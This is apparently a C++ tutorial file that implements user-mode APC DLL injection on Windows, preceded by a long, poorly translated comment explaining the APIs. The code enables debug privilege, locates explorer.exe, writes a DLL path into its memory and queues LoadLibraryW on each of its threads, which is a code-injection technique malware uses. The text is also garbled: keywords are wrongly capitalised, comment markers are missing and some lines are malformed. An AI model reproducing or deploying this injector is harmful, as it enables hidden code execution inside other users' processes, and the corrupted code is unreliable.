/*
Steps:
1. Right of withdrawal (grantdebugprivileges)
(1) Get token Token,openthreadtoken (), OpenProcessToken ()
Winadvapi
BOOL
WINAPI
OpenThreadToken (
_in_ HANDLE Threadhandle,
_in_ DWORD desiredaccess,
_in_ BOOL Openasself,
_outptr_ Phandle Tokenhandle
);
Openasself parameters
True specifies that access checks should be performed using the process security context of the calling thread;
FALSE specifies that access checks should be performed using the security context of the calling thread itself.
If the thread is impersonating in the impersonation client, then this security context can be a client-side process for security contexts.
Winadvapi
BOOL
WINAPI
OpenProcessToken (
_in_ HANDLE ProcessHandle,
_in_ DWORD desiredaccess,
_outptr_ Phandle Tokenhandle
);
(2) Placing elevated privileges in the tokenprivileges structure
Winadvapi
BOOL
WINAPI
AdjustTokenPrivileges (
_in_ HANDLE Tokenhandle,
_in_ BOOL DisableAllPrivileges, which flags whether this function disables all privileges for the token. If true, this function disables all privileges and the NewState parameter is invalid.
If False, the privilege is modified based on the information of the NewState parameter pointer.
_in_opt_ Ptoken_privileges NewState,
_in_ DWORD Bufferlength,
_out_writes_bytes_to_opt_ (Bufferlength, *returnlength) ptoken_privileges previousstate,
_out_opt_ Pdword Returnlength
);
(3) Associating the acquired token tokenhandle with the tokenprivileges structure
2. Get the Process ID (getprocessidbyprocessimagename) via process imagename
(1) Snapshot of all processes to the system Processsnapshothandle
Function Prototypes:
HANDLE WINAPI CreateToolhelp32Snapshot (
DWORD dwFlags,//used to specify the object to be returned in the snapshot, which can be th32cs_snapprocess, etc.
DWORD TH32PROCESSID//A process ID number that specifies the snapshot of which process to get, which can be set to 0 when getting a list of system processes or getting a snapshot of the current process
);
Specifies the system content contained in the snapshot, dwflags this parameter can use one or more of the following numeric values (constants).
Th32cs_inherit-declares that the snapshot handle is inheritable.
Th32cs_snapall-Contains all the processes and threads in the system in the snapshot.
Th32cs_snapheaplist-Contains all the heaps of the process specified in Th32processid in the snapshot.
Th32cs_snapmodule-Contains all the modules of the process specified in Th32processid in the snapshot.
Th32cs_snapprocess-Contains all the processes in the system in the snapshot.
Th32cs_snapthread-Contains all the threads in the system in the snapshot.
#define Th32cs_snapheaplist 0x00000001
#define Th32cs_snapprocess 0x00000002
#define Th32cs_snapthread 0x00000004
#define Th32cs_snapmodule 0x00000008
#define TH32CS_SNAPMODULE32 0x00000010
#define Th32cs_snapall (Th32cs_snapheaplist | th32cs_snapprocess | Th32cs_snapthread | Th32cs_snapmodule)
#define Th32cs_inherit 0x80000000
(2) Through PROCESSENTRY32 structure to get ProcessID
PROCESSENTRY32, a structure used to hold the snapshot process information. (Store process information and invoke member output process information)
Used to Process32First point to the first process information and extract the process information into the PROCESSENTRY32.
Use Process32Next to point to the next process information.
typedef struct TAGPROCESSENTRY32
{
DWORD dwsize;
DWORD Cntusage;
DWORD Th32processid; This process
ULONG_PTR Th32defaultheapid;
DWORD Th32moduleid; Associated EXE
DWORD cntthreads;
DWORD Th32parentprocessid; This process ' s parent process
LONG pcpriclassbase; Base priority of process ' s threads
DWORD DwFlags;
CHAR Szexefile[max_path]; Path
} PROCESSENTRY32;
Process32first,process32next is a two-process fetch function, and when we get a snapshot of the current running process using the function createtoolhelp32snapshot (),
We can use the Process32First function to get a handle to the first process, and use the Process32Next function to get the handle to the next process.
3. Get thread ID (GETTHREADIDBYPROCESSID) by Process ID to trigger exception, allocate physical memory
4. Inject
(1) Request memory in the other process space,
LPVoid
WINAPI
VirtualAllocEx (
_in_ HANDLE hprocess,
_in_opt_ LPVoid lpaddress,
_in_ size_t dwsize,
_in_ DWORD Flallocationtype,
_in_ DWORD Flprotect
);
Flallocationtype parameter settings: Mem_commit | Mem_reserve
(If the physical memory request fails, the virtual address space of the process is preserved, and when it is actually executed, an exception is triggered, and physical memory is allocated)
Mem_commit: Allocating physical storage in in-memory or disk paging files for a specific page area
Mem_reserve: Preserves the virtual address space of the process without allocating any physical storage. Reserved pages can be occupied by continuing to call VirtualAlloc ()
(2) write Dllfullpath to memory
The WriteProcessMemory () function can write to the memory area of a process. The entry area must be accessible or the operation will fail.
BOOL
WINAPI
WriteProcessMemory (
_in_ HANDLE hprocess,
_in_ LPVoid Lpbaseaddress,
_in_reads_bytes_ (nSize) lpcvoid lpbuffer,
_in_ size_t NSize,
_out_opt_ size_t * Lpnumberofbyteswritten
);
(3) Loading DLL files
Loadlibrarywaddress = (uint_ptr) GetProcAddress (GetModuleHandle (L "kernel32.dll"), "Loadlibraryw");
Obtain the base address of the import module kernel32.dll from the current process, and derive the function from the export table in the Kernel32.dll module Loadlibraryw
Purpose 1. Prevent IAT Hooks (importaddresstable) 2. Make sure the address is correct (different virtual addresses are mapped to the same physical address)
*/
#include "stdafx.h"
#include <Windows.h>
#include <ntstatus.h>
#include <iostream>
#include <vector>
#include <TlHelp32.h>
using namespace Std;
BOOL Grantpriviledge (in Pwchar priviledgename);
BOOL getprocessidbyprocessimagename (in Pwchar wzprocessimagename, out PUINT32 targetprocessid);
BOOL Getthreadidbyprocessid (in UINT32 ProcessID, out vector<uint32>&threadidvector);
BOOL INJECTBYAPC (in UINT32 processid,out UINT32 ThreadID);
WCHAR Dllfullpath[max_path] = {0}; MAX_PATH 260
PVOID dllfullpathbufferdata = NULL;
Uint_ptr loadlibrarywaddress = 0;
int main ()
{
1. Right of withdrawal
if (Grantpriviledge (se_debug_name) = = False)
{
printf ("Grantpriviledge error.\n");
}
2.Dll Path
Getcurrentdirectoryw (MAX_PATH, Dllfullpath);
#ifdef _win64
Wcscat (Dllfullpath, L "\\Dll.dll");
#else
Wcscat (Dllfullpath, L "\\Dll.dll");
#endif
LoadLibrary (Dllfullpath);
3. Get the Process ID
UINT32 ProcessID =-1; Idol Process ID is 0
Getprocessidbyprocessimagename (L "Explorer.exe", &processid);
4. Get Thread Id_vector
Vector<uint32> Threadidvector;
if (Getthreadidbyprocessid (processid,threadidvector) = = False)
{
return 0;
}
5. Inject
size_t threadcount = Threadidvector.size ();
for (INT_PTR i = ThreadCount-1; I >= 0; i--)//int_ptr
{
UINT32 ThreadID = Threadidvector[i];
INJECTBYAPC (Processid,threadid);
}
}
BOOL Grantpriviledge (Pwchar priviledgename)
{
Token_privileges Tokenprivileges, Oldprivileges;
DWORD dwreturnlength = sizeof (oldprivileges);
HANDLE tokenhandle = Invalid_handle_value;
LUID UID; LUID 64-bit
To open a permission token
if (! OpenThreadToken (GetCurrentThread (), Token_adjust_privileges | Token_query, False, &tokenhandle))
{
if (GetLastError ()! = Error_no_token)
{
return false;
}
if (! OpenProcessToken (GetCurrentProcess (), Token_adjust_privileges | Token_query, &tokenhandle))
{
return false;
}
}
The Lookupprivilegevalue () function looks at privileged values of system permissions, returns information to a LUID structure
if (! Lookupprivilegevalue (Null,priviledgename,&uid))
{
CloseHandle (Tokenhandle);
return false;
}
Tokenprivileges.privilegecount = 1; Number of permissions to elevate
Tokenprivileges.privileges[0]. Attributes = se_privilege_enabled;
Tokenprivileges.privileges[0]. Luid = UID;
Adjust permissions
if (! AdjustTokenPrivileges (Tokenhandle, False, &tokenprivileges, sizeof (token_privileges), &oldprivileges, & Dwreturnlength))
{
CloseHandle (Tokenhandle);
return false;
}
CloseHandle (Tokenhandle);
return true;
}
BOOL getprocessidbyprocessimagename (in Pwchar wzprocessimagename, out PUINT32 ProcessID)
{
HANDLE processsnapshothandle = Invalid_handle_value;
Processsnapshothandle = CreateToolhelp32Snapshot (th32cs_snapprocess, 0); Snapshot of all processes to the system
if (Processsnapshothandle = = INVALID_HANDLE_VALUE)
{
return false;
}
PROCESSENTRY32 ProcessEntry32 = {0};
processentry32.dwsize = sizeof (PROCESSENTRY32); Initializing the PROCESSENTRY32 structure
Process32First (Processsnapshothandle, &processentry32);
Do
{
if (Lstrcmpi (processentry32.szexefile, wzprocessimagename) = = 0)//case-insensitive double word
{
*processid = Processentry32.th32processid;
Break
}
} while (Process32Next (Processsnapshothandle, &processentry32)); BOOL Type return value
CloseHandle (Processsnapshothandle);
Processsnapshothandle = Invalid_handle_value;
return true;
}
Enumerates all threads that specify the process ID, presses into the template, returns a collection of thread templates
BOOL Getthreadidbyprocessid (in UINT32 ProcessID, out Vector<uint32>&threadidvector)
{
HANDLE threadsnapshothandle = Invalid_handle_value;
THREADENTRY32 ThreadEntry32 = {0};
threadentry32.dwsize = sizeof (THREADENTRY32);
Threadsnapshothandle = CreateToolhelp32Snapshot (th32cs_snapthread, 0);
if (Threadsnapshothandle = = INVALID_HANDLE_VALUE)
{
return false;
}
Thread32first (Threadsnapshothandle, &threadentry32);
Do
{
if (Threadentry32.th32ownerprocessid = = ProcessID)
{
Threadidvector.emplace_back (Threadentry32.th32threadid); Press the thread ID into the template
}
} while (Thread32next (Threadsnapshothandle, &threadentry32));
CloseHandle (Threadsnapshothandle);
Threadsnapshothandle = NULL;
return true;
}
BOOL INJECTBYAPC (UINT32 ProcessID, UINT32 ThreadID)
{
HANDLE ProcessHandle = OpenProcess (Process_all_access, False, ProcessID);
HANDLE threadhandle = Invalid_handle_value;
size_t dllfullpathlength = (wcslen (dllfullpath) + 1) * 2;
size_t dllfullpathsize = dllfullpathlength
size_t returnlength = 0;
BOOL BOK = false;
Request memory in the offset process space
if (Dllfullpathbufferdata = = NULL)
{
Dllfullpathbufferdata = VirtualAllocEx (ProcessHandle, NULL, dllfullpathlength, Mem_commit | Mem_reserve, Page_execute_readwrite);
if (Dllfullpathbufferdata = = NULL)
{
CloseHandle (ProcessHandle);
return false;
}
Write Dllfullpath to Memory
BOOL BOK = WriteProcessMemory (ProcessHandle, Dllfullpathbufferdata, Dllfullpath, (Wcslen (Dllfullpath) + 1) * *, & Returnlength);
if (BOK = = False)
{
VirtualFree (Dllfullpathbufferdata, dllfullpathlength,mem_release);
CloseHandle (ProcessHandle);
return false;
}
}
Obtain the base address of the import module kernel32.dll from the current process, and derive the function from the export table in the Kernel32.dll module Loadlibraryw
Purpose 1. Prevent IAT Hooks (importaddresstable) 2. Make sure the address is correct (different virtual addresses are mapped to the same physical address)
Loadlibrarywaddress = (uint_ptr) GetProcAddress (GetModuleHandle (L "kernel32.dll"), "Loadlibraryw");
if (loadlibrarywaddress = = NULL)
{
VirtualFree (Dllfullpathbufferdata, Dllfullpathlength, mem_release);
CloseHandle (ProcessHandle);
return false;
}
__try
{
Threadhandle = Openthread (Thread_all_access, False, ThreadID);
QUEUEUSERAPC ((Papcfunc) loadlibrarywaddress, Threadhandle, (uint_ptr) dllfullpathbufferdata);
Executable io?
}
__except (exception_continue_execution)
{
}
CloseHandle (ProcessHandle);
CloseHandle (Threadhandle);
return true;
}
APC Injection (RING3 layer)